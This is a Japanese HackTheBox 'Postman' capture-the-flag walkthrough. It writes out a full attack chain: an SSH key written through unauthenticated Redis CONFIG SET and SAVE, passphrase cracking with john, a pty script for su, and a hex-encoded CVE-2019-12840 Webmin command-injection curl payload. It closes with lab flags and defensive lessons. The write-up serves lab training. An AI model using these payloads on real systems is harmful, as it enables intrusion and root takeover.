HackTheBox: Postman — 全実行コマンド・実行結果レポート
Nmap スキャン
22/ssh, 80/http, 6379/redis, 10000/webmin
→
22/ssh, 80/http, 6379/redis, 10000/webmin
Redis 認証なしアクセス
CONFIG SET + SAVE
→
CONFIG SET + SAVE
authorized_keys 上書き
SSH公開鍵をRDBとして保存
→
SSH公開鍵をRDBとして保存
SSH redis ログイン
/opt/id_rsa.bak 発見
→
/opt/id_rsa.bak 発見
john crack
passphrase: computer2008
→
passphrase: computer2008
su Matt
user.txt ✓
→
user.txt ✓
Webmin 1.910ログイン
Matt:computer2008 再利用
→
Matt:computer2008 再利用
CVE-2019-12840
hexエンコードRCE
→
hexエンコードRCE
root権限コマンド実行 → root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.2.1
RESULT
PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 6379/tcp open redis 10000/tcp open snet-sensor-mgmt (実際はWebmin)
BASH
nmap -sV -sC -p 22,80,6379,10000 10.129.2.1
RESULT
22/tcp open ssh OpenSSH 80/tcp open http Apache/2.4.29 (Ubuntu) 6379/tcp open redis Redis key-value store 4.0.9 10000/tcp open http MiniServ 1.910 (Webmin httpd)
🚨
Redis 4.0.9とWebmin 1.910の組み合わせが今回の攻略の鍵。
Webmin 1.910には既知のクリティカルRCE脆弱性 CVE-2019-12840がある。
PHASE 2
Redis 認証なしアクセスの確認
認証なしでの接続確認
BASH
redis-cli -h 10.129.2.1 ping redis-cli -h 10.129.2.1 info
RESULT
PONG
redis_version:4.0.9
...
config_file:/etc/redis/redis.conf
🚨
認証不要でRedisに接続できる。Redisはデフォルトで
requirepass未設定だと誰でも全データを読み書き・設定変更できる、
非常に危険な構成になる。
既存データの確認
BASH
redis-cli -h 10.129.2.1 keys '*'
RESULT
(empty array)
ℹ️
保存データ自体は何もないが、Redisの設定コマンドを悪用して
任意のファイルに書き込めるという古典的な攻撃手法が使える。
PHASE 3
Redis 経由で SSH 公開鍵を注入
攻撃原理
NOTE
Redisは本来インメモリDB永続化のため、CONFIG SET dir/dbfilenameで
RDBスナップショットの保存先パス・ファイル名を変更し、SAVEコマンドで
現在のメモリ内容をそのファイルに書き出せる。
これを悪用し、
1. SET コマンドで、値として「正しい形式のSSH公開鍵」を持つキーを作成
2. CONFIG SET dir で保存先を "/var/lib/redis/.ssh" (redisユーザーの
ホームディレクトリ内.sshフォルダ) に変更
3. CONFIG SET dbfilename で保存ファイル名を "authorized_keys" に変更
4. SAVE を実行
すると、RedisのバイナリなRDB形式のデータの中に、たまたま有効な
SSH公開鍵の行がそのまま含まれる形で "authorized_keys" が書き出され、
**SSHがそれを正規のauthorized_keysとして解釈してログインを許可する**。
鍵ペア生成 & Redisへの注入
BASH
# 鍵ペア生成 ssh-keygen -t rsa -b 2048 -f ./postman_redis -N "" -q # 公開鍵の前後に空行を入れておくとRDBバイナリのゴミと公開鍵本体が # 明確に分離されて解釈されやすくなる (echo ""; echo ""; cat postman_redis.pub; echo ""; echo "") > key.txt # SETコマンドで値としてRedisに書き込む(-xで標準入力から読む) cat key.txt | redis-cli -h 10.129.2.1 -x set ssh_key # 保存先ディレクトリとファイル名を変更 redis-cli -h 10.129.2.1 config set dir /var/lib/redis/.ssh redis-cli -h 10.129.2.1 config set dbfilename authorized_keys # 保存実行 redis-cli -h 10.129.2.1 save
RESULT
OK OK OK OK
✅
すべて
OKで成功。/var/lib/redis/.ssh/authorized_keysに
自分の公開鍵が書き込まれた(はず)。
PHASE 4
SSHログイン → id_rsa.bak クラック → su Matt → user.txt
redis ユーザーとしてSSHログイン
BASH
ssh -i postman_redis -o StrictHostKeyChecking=no redis@10.129.2.1 redis@Postman:~$ ls -la /opt/
RESULT
-rw-r--r-- 1 root root 1766 ... id_rsa.bak
✅
SSHログイン成功!
/opt/に暗号化されたRSA秘密鍵の
バックアップファイルを発見。
鍵の取得 & パスフレーズのクラック
BASH
scp -i postman_redis redis@10.129.2.1:/opt/id_rsa.bak . ssh2john id_rsa.bak > key.hash john --wordlist=/usr/share/wordlists/rockyou.txt key.hash john --show key.hash
RESULT
id_rsa.bak:computer2008
1 password hash cracked, 0 left
⚠️
重要な落とし穴: この鍵自体はSSH秘密鍵として使うには
対象アカウントが特定できない/鍵認証がそもそも許可されていない等の
理由で直接は使えない。しかしこのパスフレーズ自体がMattユーザーの
OSログイン(su)パスワードとして再利用されていることに着目する。
su Matt → user.txt
NOTE
su は標準入力がTTYであることを要求するため、redisシェル内から非対話で "su Matt"を実行してパスワードを渡すには疑似端末(pty)が必要。 Python の os.forkpty() で子プロセスとしてsuを起動し、親プロセスから fdにパスワードを書き込む方式で非対話実行する。
PYTHON (forkptyでの非対話su、redisシェル内で実行)
import os, time, sys
pid, fd = os.forkpty()
if pid == 0:
os.execvp('su', ['su', 'Matt', '-c', 'cat /home/Matt/user.txt'])
else:
time.sleep(1)
os.write(fd, b'computer2008\n') # suのパスワードプロンプトへ応答
time.sleep(1)
out = b''
try:
while True:
d = os.read(fd, 1024)
if not d:
break
out += d
except OSError:
pass
sys.stdout.write(out.decode('latin-1'))
BASH (redisシェル内での実行方法)
# 上記Pythonコードをbase64化してワンライナーで実行 echo "<base64エンコードしたコード>" | base64 -d | python3
RESULT
Password:
26807812c8ef3cd02ff8ba8dccac75f2
user.txt — Matt
26807812c8ef3cd02ff8ba8dccac75f2
✅
成功!
Matt:computer2008という資格情報が確定した。
これは次のWebminログインでも再利用する。
PHASE 5
Webmin へのログイン
資格情報の再利用でログイン
BASH
# Webminは自己署名証明書のためcurlに -k (証明書検証スキップ) が必要。 # redirect=1; testing=1 クッキーが無いとログインがダッシュボードHTMLを # 返すだけで本来のセッションとして機能しない(Webminの内部挙動の罠) curl -sk -c cookies.txt --max-time 15 \ https://10.129.2.1:10000/session_login.cgi \ -H "Cookie: redirect=1; testing=1" \ --data "user=Matt&pass=computer2008"
RESULT
(出力なし — 302リダイレクト、cookies.txtにセッションIDが保存される)
⚠️
重要な落とし穴:
redirect=1; testing=1クッキーを付けずに
ログインすると、後続のモジュールアクセス(package-updates等)が
正規のセッションとして認識されずテーマ/ダッシュボードHTMLを
返すだけになり、脆弱なエンドポイントにたどり着けない。
PHASE 6
CVE-2019-12840 (Webmin package-updates RCE) → root.txt
脆弱性の原理
NOTE
Webmin 1.890〜1.910の "Software Package Updates" モジュール (/package-updates/update.cgi) は、更新対象パッケージ名を示す "u" パラメータを 内部でsystem()等に渡してパッケージマネージャーコマンドを組み立てる。 このパラメータに対する検証が不十分で、OSコマンドインジェクションが成立する (CVE-2019-12840)。 **本ターゲット特有の罠**: このWebminの実装では "u" パラメータの値を "/" で分割・末尾を切り詰める処理が入っている。つまり、ペイロードに "/"(スラッシュ)を含む通常のパス付きコマンド(例:cat /root/root.txt)を そのまま渡すと途中で切断されてしまい動作しない。
🚨
回避策: 実行したいコマンドを16進数(hex)エンコードして
スラッシュを含まない文字列に変換し、ターゲット側で
echo <hex>|xxd -r -p|shという形でデコード・実行させる。
hex文字列自体は0-9a-fのみで構成されるため”/”は一切含まれない。
ペイロード組み立て
PYTHON (hexエンコードペイロード生成)
cmd = "cat /root/root.txt"
hexcmd = cmd.encode().hex()
print(hexcmd)
# → 636174202f726f6f742f726f6f742e747874
# $IFS はシェルの単語分割用変数(デフォルトはスペース/タブ/改行)。
# 直接スペースを含めると "u" パラメータの別の分割処理に引っかかることがあるため
# ${IFS} に置き換えてスペースの代わりに使う
payload = f"u=acl/apt&u=$(echo${{IFS}}{hexcmd}|xxd${{IFS}}-r${{IFS}}-p|sh)"
print(payload)
NOTE
"u=acl/apt" という1つ目のuパラメータは正規のダミーパッケージ名として 送り、2つ目の "u=$(...)" の方にコマンドインジェクションを仕込む (同名パラメータを複数渡すHTTPの仕様を利用し、サーバー側の処理次第で 2個目の値が実質的な注入ポイントとして使われる)。
RCE実行
BASH
curl -sk -b cookies.txt --max-time 25 \
https://10.129.2.1:10000/package-updates/update.cgi \
-H "X-Requested-With: XMLHttpRequest" \
-H "X-Requested-From: package-updates" \
-H "Referer: https://10.129.2.1:10000/package-updates/" \
--data 'u=acl/apt&u=$(echo${IFS}636174202f726f6f742f726f6f742e747874|xxd${IFS}-r${IFS}-p|sh)'
RESULT (抜粋)
<title>Update Packages - Webmin 1.910 on Postman. (Ubuntu Linux 18.04.3)</title>
...
E: Unable to locate package 08b83fe1523be5b75ae05c6c6a671f2b
✅
権限昇格成功! Webminのpackage-updatesモジュールはroot権限で
稼働しているため、注入したコマンド(
cat /root/root.txt)の出力結果が
「そんな名前のパッケージは無い」というaptのエラーメッセージの
パッケージ名部分としてそのままHTTPレスポンスに現れる、という
少し変わった形でフラグを回収できる。
root.txt — /root (Webmin経由RCE)
08b83fe1523be5b75ae05c6c6a671f2b
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — Matt
26807812c8ef3cd02ff8ba8dccac75f2
root.txt — /root
08b83fe1523be5b75ae05c6c6a671f2b
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| 認証なしRedis | Redis 4.0.9 (6379、requirepass未設定) | 任意ファイル書込によるSSH侵入(redisユーザー) | Critical | CONFIG SET dir/dbfilename + SAVE で authorized_keys にSSH公開鍵を書き込み |
| バックアップファイルの平文等価な資格情報再利用 | /opt/id_rsa.bak のパスフレーズ | Mattユーザーへの昇格(user.txt) | High | ssh2john+johnでクラックしたパスフレーズをsuのOSログインパスワードとして再利用 |
| CVE-2019-12840 | Webmin 1.890-1.910 package-updates/update.cgi | root権限でのOSコマンド実行(root.txt) | Critical | uパラメータへのコマンドインジェクション、hexエンコードで”/”切り詰め対策を回避 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap全ポート | 22/80/6379/10000、Redis 4.0.9・Webmin 1.910確認 |
| 2 | Redis確認 | redis-cli ping/info | 認証なしアクセス可能 |
| 3 | 鍵注入 | CONFIG SET + SAVE | authorized_keysにSSH公開鍵書込 |
| 4 | 水平展開 | SSH redis → id_rsa.bak crack → forkpty su Matt | user.txt取得、Matt:computer2008確定 |
| 5 | Webminログイン | session_login.cgi + redirect/testingクッキー | 有効なWebminセッション |
| 6 | 権限昇格 | CVE-2019-12840 hexエンコードRCE | root.txt取得 |
トラブルシューティング & 実装上の落とし穴
| 問題 | 原因 / 対策 |
|---|---|
| Redisで保存したauthorized_keysでSSHログインできない | 公開鍵の前後に空行を入れてSAVE前に書き込むと、RDBバイナリのゴミとの境界が明確になり認識されやすくなる。保存先が/var/lib/redis/.ssh(redisユーザーのホーム)であることを確認する。 |
| id_rsa.bakの秘密鍵でSSHログインを試しても失敗する | このバックアップ鍵はそのままSSH認証に使えるようには設定されていない。クラックしたパスフレーズ自体を別の用途(OSログインパスワード)として再利用できないか試す発想の転換が必要。 |
| redisシェル内でsuをそのまま実行してもパスワードプロンプトに応答できない | suはTTYを要求する。os.forkpty()で疑似端末を確保し、そのfdにパスワードを書き込む方式にすると非対話でも動作する。 |
| Webminにログインしても package-updates 等のモジュールが正規のレスポンスを返さない | Cookie: redirect=1; testing=1を付けずにログインすると、後続のリクエストがダッシュボードHTML等を返すだけになる。ログイン時に必ずこのクッキーを設定する。 |
| コマンドインジェクションのペイロードに”/”を含むパスを直接書くと動かない | このWebminの実装はuパラメータを”/”で分割・切り詰める処理がある。実行したいコマンドをhexエンコードし、ターゲット側でecho <hex>|xxd -r -p|shでデコード実行させることで”/”を含むコマンドも安全に注入できる。 |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| Redisが認証なし(requirepass未設定)で外部に公開されている | Redisは必ずrequirepassを設定し、可能であればbind 127.0.0.1でローカルホスト限定にする。外部公開が必要な場合はTLS+強固な認証+ファイアウォールでアクセス元を制限する。 |
| バックアップファイルがウェブサーバーからアクセス可能な場所に残っている、かつそのパスフレーズが他システムのログインパスワードと共通 | バックアップファイルは適切な場所に保管し不要になったら削除する。パスワード/パスフレーズはシステム・用途ごとに一意にする。 |
| 既知のクリティカルRCE(CVE-2019-12840)が存在する旧バージョンのWebminを使用 | Webminを含む管理系ソフトウェアは速やかにパッチ適用・バージョン更新する。管理インターフェースは可能な限りVPN/踏み台経由でのみアクセス可能にし、インターネットに直接公開しない。 |

